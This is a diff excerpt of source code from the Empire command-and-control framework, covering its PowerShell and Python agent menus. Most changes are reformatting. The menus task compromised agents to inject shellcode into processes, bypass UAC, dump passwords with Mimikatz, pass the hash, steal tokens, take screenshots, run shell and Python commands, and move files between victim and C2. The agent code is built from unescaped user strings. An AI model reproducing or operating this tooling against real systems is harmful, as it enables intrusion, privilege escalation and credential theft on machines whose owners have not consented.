25792578 else:
25802579 print(helpers.color("[!] Injection requires you to specify listener"))
2581
2580
25822581 def do_injectshellcode(self, line):
25832582 "Inject listener shellcode into a remote process. Ex. injectshellcode <meter_listener> <pid>"
2584
2583
25852584 # get the info for the inject module
25862585 if line:
25872586 listenerID = line.split(' ')[0].strip()
25882587 pid = ''
2589
2588
25902589 if len(line.split(' ')) == 2:
25912590 pid = line.split(' ')[1].strip()
2592
2591
25932592 if self.mainMenu.modules.modules['powershell/code_execution/invoke_shellcode']:
2594
2593
25952594 if listenerID != '' and self.mainMenu.listeners.is_listener_valid(listenerID):
2596
2595
25972596 module = self.mainMenu.modules.modules['powershell/code_execution/invoke_shellcode']
25982597 module.options['Listener']['Value'] = listenerID
25992598 module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
2600
2599
26012600 if pid != '':
26022601 module.options['ProcessID']['Value'] = pid
2603
2602
26042603 module_menu = ModuleMenu(self.mainMenu, 'powershell/code_execution/invoke_shellcode')
26052604 module_menu.cmdloop()
2606
2605
26072606 else:
26082607 print(helpers.color("[!] Please enter <listenerName> <pid>"))
2609
2608
26102609 else:
26112610 print(helpers.color("[!] powershell/code_execution/invoke_shellcode module not loaded"))
2612
2611
26132612 else:
26142613 print(helpers.color("[!] Injection requires you to specify listener"))
2615
2616
2614
26172615 def do_sc(self, line):
26182616 "Takes a screenshot, default is PNG. Giving a ratio means using JPEG. Ex. sc [1-100]"
2619
2617
26202618 # get the info for the psinject module
26212619 if len(line.strip()) > 0:
26222620 # JPEG compression ratio
26272625 screenshot_ratio = "80"
26282626 else:
26292627 screenshot_ratio = ''
2630
2628
26312629 if self.mainMenu.modules.modules['powershell/collection/screenshot']:
26322630 module = self.mainMenu.modules.modules['powershell/collection/screenshot']
26332631 module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
26342632 module.options['Ratio']['Value'] = screenshot_ratio
2635
2633
26362634 # execute the screenshot module
26372635 module_menu = ModuleMenu(self.mainMenu, 'powershell/collection/screenshot')
26382636 module_menu.do_execute("")
2639
2637
26402638 else:
26412639 print(helpers.color("[!] powershell/collection/screenshot module not loaded"))
2642
2643
2640
26442641 def do_spawn(self, line):
26452642 "Spawns a new Empire agent for the given listener name. Ex. spawn <listener>"
2646
2643
26472644 # get the info for the spawn module
26482645 if line:
26492646 listenerID = line.split(' ')[0].strip()
2650
2647
26512648 if listenerID != '' and self.mainMenu.listeners.is_listener_valid(listenerID):
2652
2649
26532650 # ensure the inject module is loaded
26542651 if self.mainMenu.modules.modules['powershell/management/spawn']:
26552652 module = self.mainMenu.modules.modules['powershell/management/spawn']
2656
2653
26572654 module.options['Listener']['Value'] = listenerID
26582655 module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
2659
2656
26602657 # jump to the spawn module
26612658 module_menu = ModuleMenu(self.mainMenu, "powershell/management/spawn")
26622659 module_menu.cmdloop()
2663
2660
26642661 else:
26652662 print(helpers.color("[!] management/spawn module not loaded"))
2666
2663
26672664 else:
26682665 print(helpers.color("[!] Please enter a valid listener name or ID."))
2669
2666
26702667 else:
26712668 print(helpers.color("[!] Please specify a listener name or ID."))
2672
2673
2669
26742670 def do_bypassuac(self, line):
26752671 "Runs BypassUAC, spawning a new high-integrity agent for a listener. Ex. spawn <listener>"
2676
2672
26772673 # get the info for the bypassuac module
26782674 if line:
26792675 listenerID = line.split(' ')[0].strip()
2680
2676
26812677 if listenerID != '' and self.mainMenu.listeners.is_listener_valid(listenerID):
2682
2678
26832679 # ensure the inject module is loaded
26842680 if self.mainMenu.modules.modules['powershell/privesc/bypassuac_eventvwr']:
26852681 module = self.mainMenu.modules.modules['powershell/privesc/bypassuac_eventvwr']
2686
2682
26872683 module.options['Listener']['Value'] = listenerID
26882684 module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
2689
2685
26902686 # jump to the spawn module
26912687 module_menu = ModuleMenu(self.mainMenu, 'powershell/privesc/bypassuac_eventvwr')
26922688 module_menu.do_execute('')
2693
2689
26942690 else:
26952691 print(helpers.color("[!] powershell/privesc/bypassuac_eventvwr module not loaded"))
2696
2692
26972693 else:
26982694 print(helpers.color("[!] Please enter a valid listener name or ID."))
2699
2695
27002696 else:
27012697 print(helpers.color("[!] Please specify a listener name or ID."))
2702
2703
2698
27042699 def do_mimikatz(self, line):
27052700 "Runs Invoke-Mimikatz on the client."
2706
2701
27072702 # ensure the credentials/mimiktaz/logonpasswords module is loaded
27082703 if self.mainMenu.modules.modules['powershell/credentials/mimikatz/logonpasswords']:
27092704 module = self.mainMenu.modules.modules['powershell/credentials/mimikatz/logonpasswords']
2710
2705
27112706 module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
2712
2707
27132708 # execute the Mimikatz module
27142709 module_menu = ModuleMenu(self.mainMenu, 'powershell/credentials/mimikatz/logonpasswords')
27152710 module_menu.do_execute('')
2716
2717
2711
27182712 def do_pth(self, line):
27192713 "Executes PTH for a CredID through Mimikatz."
2720
2714
27212715 credID = line.strip()
2722
2716
27232717 if credID == '':
27242718 print(helpers.color("[!] Please specify a <CredID>."))
27252719 return
2726
2720
27272721 if self.mainMenu.modules.modules['powershell/credentials/mimikatz/pth']:
27282722 # reload the module to reset the default values
27292723 module = self.mainMenu.modules.reload_module('powershell/credentials/mimikatz/pth')
2730
2724
27312725 module = self.mainMenu.modules.modules['powershell/credentials/mimikatz/pth']
2732
2726
27332727 # set mimikt/pth to use the given CredID
27342728 module.options['CredID']['Value'] = credID
2735
2729
27362730 # set the agent ID
27372731 module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
2738
2732
27392733 # execute the mimikatz/pth module
27402734 module_menu = ModuleMenu(self.mainMenu, 'powershell/credentials/mimikatz/pth')
27412735 module_menu.do_execute('')
2742
2743
2736
27442737 def do_steal_token(self, line):
27452738 "Uses credentials/tokens to impersonate a token for a given process ID."
2746
2739
27472740 processID = line.strip()
2748
2741
27492742 if processID == '':
27502743 print(helpers.color("[!] Please specify a process ID."))
27512744 return
2752
2745
27532746 if self.mainMenu.modules.modules['powershell/credentials/tokens']:
27542747 # reload the module to reset the default values
27552748 module = self.mainMenu.modules.reload_module('powershell/credentials/tokens')
2756
2749
27572750 module = self.mainMenu.modules.modules['powershell/credentials/tokens']
2758
2751
27592752 # set credentials/token to impersonate the given process ID token
27602753 module.options['ImpersonateUser']['Value'] = 'True'
27612754 module.options['ProcessID']['Value'] = processID
2762
2755
27632756 # set the agent ID
27642757 module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
2765
2758
27662759 # execute the token module
27672760 module_menu = ModuleMenu(self.mainMenu, 'powershell/credentials/tokens')
27682761 module_menu.do_execute('')
2769
2762
27702763 # run a sysinfo to update
27712764 self.do_sysinfo(line)
2772
2773
2765
27742766 def do_revtoself(self, line):
27752767 "Uses credentials/tokens to revert token privileges."
2776
2768
27772769 if self.mainMenu.modules.modules['powershell/credentials/tokens']:
27782770 # reload the module to reset the default values
27792771 module = self.mainMenu.modules.reload_module('powershell/credentials/tokens')
2780
2772
27812773 module = self.mainMenu.modules.modules['powershell/credentials/tokens']
2782
2774
27832775 # set credentials/token to revert to self
27842776 module.options['RevToSelf']['Value'] = "True"
2785
2777
27862778 # set the agent ID
27872779 module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
2788
2780
27892781 # execute the token module
27902782 module_menu = ModuleMenu(self.mainMenu, "powershell/credentials/tokens")
27912783 module_menu.do_execute('')
2792
2784
27932785 # run a sysinfo to update
27942786 self.do_sysinfo(line)
2795
2796
2787
27972788 def do_creds(self, line):
27982789 "Display/return credentials from the database."
27992790 self.mainMenu.do_creds(line)
2800
2791
28012792 def complete_reflectiveload(self, text, line, begidx, endidx):
28022793 "Tab-complete an upload file path"
28032794 return helpers.complete_path(text, line)
28042795
28052796 def complete_updatecomms(self, text, line, begidx, endidx):
28062797 "Tab-complete updatecomms option values"
2807
2798
28082799 return self.complete_psinject(text, line, begidx, endidx)
2809
2800
28102801 def complete_shinject(self, text, line, begidx, endidx):
28112802 "Tab-complete psinject option values."
2812
2803
28132804 return self.complete_psinject(text, line, begidx, endidx)
2814
2805
28152806 def complete_psinject(self, text, line, begidx, endidx):
28162807 "Tab-complete psinject option values."
2817
2808
28182809 mline = line.partition(' ')[2]
28192810 offs = len(mline) - len(text)
28202811 return [s[offs:] for s in self.mainMenu.listeners.get_listener_names() if s.startswith(mline)]
2821
2822
2812
28232813 def complete_injectshellcode(self, text, line, begidx, endidx):
28242814 "Tab-complete injectshellcode option values."
2825
2815
28262816 return self.complete_psinject(text, line, begidx, endidx)
2827
2828
2817
28292818 def complete_spawn(self, text, line, begidx, endidx):
28302819 "Tab-complete spawn option values."
2831
2820
28322821 return self.complete_psinject(text, line, begidx, endidx)
2833
2834
2822
28352823 def complete_bypassuac(self, text, line, begidx, endidx):
28362824 "Tab-complete bypassuac option values."
2837
2825
28382826 return self.complete_psinject(text, line, begidx, endidx)
2839
2840
2827
28412828 def complete_jobs(self, text, line, begidx, endidx):
28422829 "Tab-complete jobs management options."
2843
2830
28442831 mline = line.partition(' ')[2]
28452832 offs = len(mline) - len(text)
28462833 return [s[offs:] for s in ["kill"] if s.startswith(mline)]
2847
2848
2834
28492835 def complete_scriptimport(self, text, line, begidx, endidx):
28502836 "Tab-complete a PowerShell script path"
2851
2837
28522838 return helpers.complete_path(text, line)
2853
2854
2839
28552840 def complete_scriptcmd(self, text, line, begidx, endidx):
28562841 "Tab-complete a script cmd set."
2857
2842
28582843 functions = self.mainMenu.agents.get_agent_functions(self.sessionID)
2859
2844
28602845 mline = line.partition(' ')[2]
28612846 offs = len(mline) - len(text)
28622847 return [s[offs:] for s in functions if s.startswith(mline)]
2863
2864
2848
28652849 def complete_usemodule(self, text, line, begidx, endidx):
28662850 "Tab-complete an Empire PowerShell module path"
28672851 return self.mainMenu.complete_usemodule(text, line, begidx, endidx, language='powershell')
2868
2869
2852
28702853 def complete_upload(self, text, line, begidx, endidx):
28712854 "Tab-complete an upload file path"
28722855 return helpers.complete_path(text, line)
2873
2874
2856
28752857 def complete_updateprofile(self, text, line, begidx, endidx):
28762858 "Tab-complete an updateprofile path"
28772859 return helpers.complete_path(text, line)
2878
2879
2860
28802861 def complete_creds(self, text, line, begidx, endidx):
28812862 "Tab-complete 'creds' commands."
28822863 return self.mainMenu.complete_creds(text, line, begidx, endidx)
28832864
28842865
28852866 class PythonAgentMenu(SubMenu):
2886
2867
28872868 def __init__(self, mainMenu, sessionID):
2888
2869
28892870 SubMenu.__init__(self, mainMenu)
2890
2871
28912872 self.sessionID = sessionID
2892
2873
28932874 self.doc_header = 'Agent Commands'
2894
2875
28952876 dispatcher.connect(self.handle_agent_event, sender=dispatcher.Any)
2896
2877
28972878 # try to resolve the sessionID to a name
28982879 name = self.mainMenu.agents.get_agent_name_db(sessionID)
2899
2880
29002881 # set the text prompt
29012882 self.prompt = '(Empire: ' + helpers.color(name, 'red') + ') > '
2902
2883
29032884 # listen for messages from this specific agent
2904 #dispatcher.connect(self.handle_agent_event, sender=dispatcher.Any)
2905
2885 # dispatcher.connect(self.handle_agent_event, sender=dispatcher.Any)
2886
29062887 # agent commands that have opsec-safe alises in the agent code
29072888 self.agentCommands = ['ls', 'rm', 'pwd', 'mkdir', 'whoami', 'getuid', 'hostname']
2908
2889
29092890 # display any results from the database that were stored
29102891 # while we weren't interacting with the agent
29112892 results = self.mainMenu.agents.get_agent_results_db(self.sessionID)
29122893 if results:
29132894 print("\n" + results.rstrip('\r\n'))
2914
2895
29152896 def handle_agent_event(self, signal, sender):
29162897 """
29172898 Handle agent event signals
29222903 except ValueError:
29232904 print(helpers.color("[!] Error: bad signal recieved {} from sender {}".format(signal, sender)))
29242905 return
2925
2906
29262907 if '{} returned results'.format(self.sessionID) in signal:
29272908 results = self.mainMenu.agents.get_agent_results_db(self.sessionID)
29282909 if results:
29642945 def do_help(self, *args):
29652946 "Displays the help menu or syntax for particular commands."
29662947 SubMenu.do_help(self, *args)
2967
2968
2948
29692949 def do_list(self, line):
29702950 "Lists all active agents (or listeners)."
2971
2951
29722952 if line.lower().startswith("listeners"):
29732953 self.mainMenu.do_list("listeners " + str(' '.join(line.split(' ')[1:])))
29742954 elif line.lower().startswith("agents"):
29752955 self.mainMenu.do_list("agents " + str(' '.join(line.split(' ')[1:])))
29762956 else:
29772957 print(helpers.color("[!] Please use 'list [agents/listeners] <modifier>'."))
2978
2979
2958
29802959 def do_rename(self, line):
29812960 "Rename the agent."
2982
2961
29832962 parts = line.strip().split(' ')
29842963 oldname = self.mainMenu.agents.get_agent_name_db(self.sessionID)
2985
2964
29862965 # name sure we get a new name to rename this agent
29872966 if len(parts) == 1 and parts[0].strip() != '':
29882967 # replace the old name with the new name
29912970 self.prompt = "(Empire: " + helpers.color(parts[0], 'red') + ") > "
29922971 else:
29932972 print(helpers.color("[!] Please enter a new name for the agent"))
2994
2995
2973
29962974 def do_info(self, line):
29972975 "Display information about this agent"
2998
2976
29992977 # get the agent name, if applicable
30002978 agent = self.mainMenu.agents.get_agent_db(self.sessionID)
30012979 messages.display_agent(agent)
3002
3003
2980
30042981 def do_exit(self, line):
30052982 "Task agent to exit."
3006
2983
30072984 try:
30082985 choice = input(helpers.color("[>] Task agent to exit? [y/N] ", "red"))
30092986 if choice.lower() == "y":
3010
30112987 self.mainMenu.agents.add_agent_task_db(self.sessionID, 'TASK_EXIT')
3012
2988
30132989 # dispatch this event
30142990 message = "[*] Tasked agent to exit"
30152991 signal = json.dumps({
30172993 'message': message
30182994 })
30192995 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3020
2996
30212997 # update the agent log
30222998 self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to exit")
30232999 raise NavAgents
3024
3000
30253001 except KeyboardInterrupt as e:
30263002 print("")
3027
3028
3003
30293004 def do_clear(self, line):
30303005 "Clear out agent tasking."
30313006 self.mainMenu.agents.clear_agent_tasks_db(self.sessionID)
3032
3033
3007
30343008 def do_cd(self, line):
30353009 "Change an agent's active directory"
3036
3010
30373011 line = line.strip()
30383012 if line != "":
30393013 # have to be careful with inline python and no threading
30403014 # this can cause the agent to crash so we will use try / cath
30413015 # task the agent with this shell command
30423016 if line == "..":
3043 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", 'import os; os.chdir(os.pardir); print("Directory stepped down: %s")' % (line))
3017 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT",
3018 'import os; os.chdir(os.pardir); print("Directory stepped down: %s")' % (
3019 line))
30443020 else:
3045 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", 'import os; os.chdir("%s"); print("Directory changed to: %s)"' % (line, line))
3046
3021 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT",
3022 'import os; os.chdir("%s"); print("Directory changed to: %s)"' % (
3023 line, line))
3024
30473025 # dispatch this event
30483026 message = "[*] Tasked agent to change active directory to {}".format(line)
30493027 signal = json.dumps({
30513029 'message': message
30523030 })
30533031 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3054
3032
30553033 # update the agent log
30563034 msg = "Tasked agent to change active directory to: %s" % (line)
30573035 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
3058
3059
3036
30603037 def do_jobs(self, line):
30613038 "Return jobs or kill a running job."
3062
3039
30633040 parts = line.split(' ')
3064
3041
30653042 if len(parts) == 1:
30663043 if parts[0] == '':
30673044 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_GETJOBS")
3068
3045
30693046 # dispatch this event
30703047 message = "[*] Tasked agent to get running jobs"
30713048 signal = json.dumps({
30733050 'message': message
30743051 })
30753052 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3076
3053
30773054 # update the agent log
30783055 self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get running jobs")
30793056 else:
30813058 elif len(parts) == 2:
30823059 jobID = parts[1].strip()
30833060 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_STOPJOB", jobID)
3084
3061
30853062 # dispatch this event
30863063 message = "[*] Tasked agent to get stop job {}".format(jobID)
30873064 signal = json.dumps({
30893066 'message': message
30903067 })
30913068 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3092
3069
30933070 # update the agent log
30943071 self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to stop job " + str(jobID))
3095
3096
3072
30973073 def do_sleep(self, line):
30983074 "Task an agent to 'sleep interval [jitter]'"
3099
3075
31003076 parts = line.strip().split(' ')
31013077 delay = parts[0]
3102
3078
31033079 # make sure we pass a int()
31043080 if len(parts) >= 1:
31053081 try:
31073083 except:
31083084 print(helpers.color("[!] Please only enter integer for 'interval'"))
31093085 return
3110
3086
31113087 if len(parts) > 1:
31123088 try:
31133089 int(parts[1])
31143090 except:
31153091 print(helpers.color("[!] Please only enter integer for '[jitter]'"))
31163092 return
3117
3093
31183094 if delay == "":
31193095 # task the agent to display the delay/jitter
3120 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global delay; global jitter; print('delay/jitter = ' + str(delay)+'/'+str(jitter))")
3121
3096 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT",
3097 "global delay; global jitter; print('delay/jitter = ' + str(delay)+'/'+str(jitter))")
3098
31223099 # dispatch this event
31233100 message = "[*] Tasked agent to display delay/jitter"
31243101 signal = json.dumps({
31263103 'message': message
31273104 })
31283105 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3129
3106
31303107 self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to display delay/jitter")
3131
3108
31323109 elif len(parts) > 0 and parts[0] != "":
31333110 delay = parts[0]
31343111 jitter = 0.0
31353112 if len(parts) == 2:
31363113 jitter = parts[1]
3137
3114
31383115 # update this agent's information in the database
31393116 self.mainMenu.agents.set_agent_field_db("delay", delay, self.sessionID)
31403117 self.mainMenu.agents.set_agent_field_db("jitter", jitter, self.sessionID)
3141
3142 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global delay; global jitter; delay=%s; jitter=%s; print('delay/jitter set to %s/%s')" % (delay, jitter, delay, jitter))
3143
3118
3119 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT",
3120 "global delay; global jitter; delay=%s; jitter=%s; print('delay/jitter set to %s/%s')" % (
3121 delay, jitter, delay, jitter))
3122
31443123 # dispatch this event
31453124 message = "[*] Tasked agent to delay sleep/jitter {}/{}".format(delay, jitter)
31463125 signal = json.dumps({
31483127 'message': message
31493128 })
31503129 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3151
3130
31523131 # update the agent log
31533132 msg = "Tasked agent to delay sleep/jitter " + str(delay) + "/" + str(jitter)
31543133 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
3155
3156
3134
31573135 def do_lostlimit(self, line):
31583136 "Task an agent to display change the limit on lost agent detection"
3159
3137
31603138 parts = line.strip().split(' ')
31613139 lostLimit = parts[0]
3162
3140
31633141 if lostLimit == "":
31643142 # task the agent to display the lostLimit
3165 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global lostLimit; print('lostLimit = ' + str(lostLimit))")
3166
3143 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT",
3144 "global lostLimit; print('lostLimit = ' + str(lostLimit))")
3145
31673146 # dispatch this event
31683147 message = "[*] Tasked agent to display lost limit"
31693148 signal = json.dumps({
31713150 'message': message
31723151 })
31733152 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3174
3153
31753154 self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to display lost limit")
31763155 else:
31773156 # update this agent's information in the database
31783157 self.mainMenu.agents.set_agent_field_db("lost_limit", lostLimit, self.sessionID)
3179
3158
31803159 # task the agent with the new lostLimit
3181 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global lostLimit; lostLimit=%s; print('lostLimit set to %s')"%(lostLimit, lostLimit))
3182
3160 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT",
3161 "global lostLimit; lostLimit=%s; print('lostLimit set to %s')" % (
3162 lostLimit, lostLimit))
3163
31833164 # dispatch this event
31843165 message = "[*] Tasked agent to change lost limit {}".format(lostLimit)
31853166 signal = json.dumps({
31873168 'message': message
31883169 })
31893170 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3190
3171
31913172 # update the agent log
31923173 msg = "Tasked agent to change lost limit " + str(lostLimit)
31933174 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
3194
3195
3175
31963176 def do_killdate(self, line):
31973177 "Get or set an agent's killdate (01/01/2016)."
3198
3178
31993179 parts = line.strip().split(' ')
32003180 killDate = parts[0]
3201
3181
32023182 if killDate == "":
3203
3183
32043184 # task the agent to display the killdate
3205 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global killDate; print('killDate = ' + str(killDate))")
3206
3185 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT",
3186 "global killDate; print('killDate = ' + str(killDate))")
3187
32073188 # dispatch this event
32083189 message = "[*] Tasked agent to display killDate"
32093190 signal = json.dumps({
32113192 'message': message
32123193 })
32133194 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3214
3195
32153196 self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to display killDate")
32163197 else:
32173198 # update this agent's information in the database
32183199 self.mainMenu.agents.set_agent_field_db("kill_date", killDate, self.sessionID)
3219
3200
32203201 # task the agent with the new killDate
3221 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global killDate; killDate='%s'; print('killDate set to %s')" % (killDate, killDate))
3222
3202 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT",
3203 "global killDate; killDate='%s'; print('killDate set to %s')" % (
3204 killDate, killDate))
3205
32233206 # dispatch this event
32243207 message = "[*] Tasked agent to set killDate to {}".format(killDate)
32253208 signal = json.dumps({
32273210 'message': message
32283211 })
32293212 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3230
3213
32313214 # update the agent log
3232 msg = "Tasked agent to set killdate to %s" %(killDate)
3215 msg = "Tasked agent to set killdate to %s" % (killDate)
32333216 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
3234
3235
3217
32363218 def do_workinghours(self, line):
32373219 "Get or set an agent's working hours (9:00-17:00)."
3238
3220
32393221 parts = line.strip().split(' ')
32403222 hours = parts[0]
3241
3223
32423224 if hours == "":
3243 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global workingHours; print('workingHours = ' + str(workingHours))")
3244
3225 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT",
3226 "global workingHours; print('workingHours = ' + str(workingHours))")
3227
32453228 # dispatch this event
32463229 message = "[*] Tasked agent to get working hours"
32473230 signal = json.dumps({
32493232 'message': message
32503233 })
32513234 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3252
3235
32533236 self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get working hours")
3254
3237
32553238 else:
32563239 # update this agent's information in the database
32573240 self.mainMenu.agents.set_agent_field_db("working_hours", hours, self.sessionID)
3258
3241
32593242 # task the agent with the new working hours
3260 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global workingHours; workingHours= '%s'"%(hours))
3261
3243 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT",
3244 "global workingHours; workingHours= '%s'" % (hours))
3245
32623246 # dispatch this event
32633247 message = "[*] Tasked agent to set working hours to {}".format(hours)
32643248 signal = json.dumps({
32663250 'message': message
32673251 })
32683252 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3269
3253
32703254 # update the agent log
32713255 msg = "Tasked agent to set working hours to: %s" % (hours)
32723256 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
3273
3274
3257
32753258 def do_shell(self, line):
32763259 "Task an agent to use a shell command."
3277
3260
32783261 line = line.strip()
32793262 if line != "":
32803263 # task the agent with this shell command
32813264 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", str(line))
3282
3265
32833266 # dispatch this event
32843267 message = "[*] Tasked agent to run shell command: {}".format(line)
32853268 signal = json.dumps({
32883271 'command': line
32893272 })
32903273 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3291
3274
32923275 # update the agent log
32933276 msg = "Tasked agent to run shell command: %s" % (line)
32943277 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
3295
3278
32963279 def do_python(self, line):
32973280 "Task an agent to run a Python command."
3298
3281
32993282 line = line.strip()
3300
3283
33013284 if line != "":
33023285 # task the agent with this shell command
33033286 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", str(line))
3304
3287
33053288 # dispatch this event
33063289 message = "[*] Tasked agent to run Python command: {}".format(line)
33073290 signal = json.dumps({
33103293 'command': line
33113294 })
33123295 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3313
3296
33143297 # update the agent log
33153298 msg = "Tasked agent to run Python command: %s" % (line)
33163299 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
3317
3300
33183301 def do_pythonscript(self, line):
33193302 "Load and execute a python script"
33203303 path = line.strip()
3321
3304
33223305 if os.path.splitext(path)[-1] == '.py' and os.path.isfile(path):
33233306 filename = os.path.basename(path).rstrip('.py')
33243307 open_file = open(path, 'r')
33283311 script = script.replace('\r', '\n')
33293312 encScript = base64.b64encode(script)
33303313 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SCRIPT_COMMAND", encScript)
3331
3314
33323315 # dispatch this event
33333316 message = "[*] Tasked agent to execute Python script: {}".format(filename)
33343317 signal = json.dumps({
33393322 'script_md5': hashlib.md5(script).hexdigest()
33403323 })
33413324 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3342
3343 #update the agent log
3344 msg = "[*] Tasked agent to execute python script: "+filename
3325
3326 # update the agent log
3327 msg = "[*] Tasked agent to execute python script: " + filename
33453328 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
33463329 else:
33473330 print(helpers.color("[!] Please provide a valid path", color="red"))
3348
3349
3331
33503332 def do_sysinfo(self, line):
33513333 "Task an agent to get system information."
3352
3334
33533335 # task the agent with this shell command
33543336 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SYSINFO")
3355
3337
33563338 # dispatch this event
33573339 message = "[*] Tasked agent to get system information"
33583340 signal = json.dumps({
33603342 'message': message
33613343 })
33623344 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3363
3345
33643346 # update the agent log
33653347 self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get system information")
3366
3367
3348
33683349 def do_download(self, line):
33693350 "Task an agent to download a file into the C2."
3370
3351
33713352 line = line.strip()
3372
3353
33733354 if line != "":
33743355 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_DOWNLOAD", line)
3375
3356
33763357 # dispatch this event
33773358 message = "[*] Tasked agent to download: {}".format(line)
33783359 signal = json.dumps({
33813362 'download_filename': line
33823363 })
33833364 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3384
3365
33853366 # update the agent log
33863367 msg = "Tasked agent to download: %s" % (line)
33873368 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
3388
3389
3369
33903370 def do_upload(self, line):
33913371 "Task the C2 to upload a file into an agent."
3392
3372
33933373 # "upload /path/file.ext" or "upload /path/file/file.ext newfile.ext"
33943374 # absolute paths accepted
33953375 parts = line.strip().split(' ')
33963376 uploadname = ""
3397
3377
33983378 if len(parts) > 0 and parts[0] != "":
33993379 if len(parts) == 1:
34003380 # if we're uploading the file with its original name
34023382 else:
34033383 # if we're uploading the file as a different name
34043384 uploadname = parts[1].strip()
3405
3385
34063386 if parts[0] != "" and os.path.exists(parts[0]):
34073387 # TODO: reimplement Python file upload
3408
3388
34093389 # # read in the file and base64 encode it for transport
34103390 f = open(parts[0], 'rb')
34113391 fileData = f.read()
34153395 if size > 1048576:
34163396 print(helpers.color("[!] File size is too large. Upload limit is 1MB."))
34173397 else:
3418 print(helpers.color("[*] Original tasked size of %s for upload: %s" %(uploadname, helpers.get_file_size(fileData)), color="green"))
3419
3398 print(helpers.color(
3399 "[*] Original tasked size of %s for upload: %s" % (uploadname, helpers.get_file_size(fileData)),
3400 color="green"))
3401
34203402 original_md5 = hashlib.md5(fileData).hexdigest()
34213403 # update the agent log with the filename and MD5
34223404 msg = "Tasked agent to upload " + parts[0] + " : " + original_md5
34233405 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
3424
3406
34253407 # compress data before we base64
34263408 c = compress.compress()
34273409 start_crc32 = c.crc32_data(fileData)
34333415 if isinstance(fileData, bytes):
34343416 fileData = fileData.decode("utf-8")
34353417 data = uploadname + "|" + fileData
3436
3418
34373419 # dispatch this event
3438 message = "[*] Starting upload of {}, final size {}".format(uploadname, helpers.get_file_size(fileData))
3420 message = "[*] Starting upload of {}, final size {}".format(uploadname,
3421 helpers.get_file_size(fileData))
34393422 signal = json.dumps({
34403423 'print': True,
34413424 'message': message,
34443427 'upload_size': helpers.get_file_size(fileData)
34453428 })
34463429 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3447
3430
34483431 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_UPLOAD", data)
